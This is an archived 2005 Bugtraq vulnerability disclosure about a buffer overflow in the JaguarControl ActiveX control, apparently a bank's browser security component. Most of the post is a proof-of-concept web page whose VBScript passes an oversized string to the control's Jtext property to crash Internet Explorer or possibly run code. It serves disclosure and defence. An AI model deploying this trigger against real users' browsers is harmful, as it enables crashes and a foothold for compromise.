JaguarControl Activex Buffer Overflow

From: Tacettin Karadeniz (tacettinkaradeniz_at_yahoo.com)
Date: 08/13/05

  • Next message: almaster_at_hotmail.com: "SQL in PHPTB Topic Boards 2.0" 
    Date: Sat, 13 Aug 2005 02:47:25 -0700 (PDT)
To: bugtraq@securityfocus.com

    Vendor: http://www.isemarket.com
    Bug: JaguarControl can crash Internet Explorer
    Found: Tacettin Karadeniz
    E-Mail: tacettinkaradeniz _at_ yahoo.com
    Vendor Status: Reported

    The exploit can cause Internet Explorer to crash
    and(or) the execution of arbitrary code on the user's
    computer.

    <object
    classid="CLSID:0FC8B38E-9293-424C-9D0E-CE60775679CF"
    id="JagEditParola"></object>
    <script language="vbscript">
    <!--
    msgbox("XXXXXXX BANKASI GUVENLIK KALKANI
    v1.1.0.18"+Chr(10)+"(JaguarControl
    NT/2K/XP)"+Chr(10)+"Buffer CRACKED {Tested XP SP1}" +
    Chr(10) + "Bug Found: Tacettin Karadeniz [
    tacettinkaradeniz[@]yahoo.com ]")
    a="1234567890qwertyuopasdfghjklzxcvbnm"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparapara0000paraparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    a= a &
    "paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
    JagEditParola.Jtext=a
    --></script>

                    
    ____________________________________________________
    Start your day with Yahoo! - make it your home page
    http://www.yahoo.com/r/hs
     

  • Next message: almaster_at_hotmail.com: "SQL in PHPTB Topic Boards 2.0"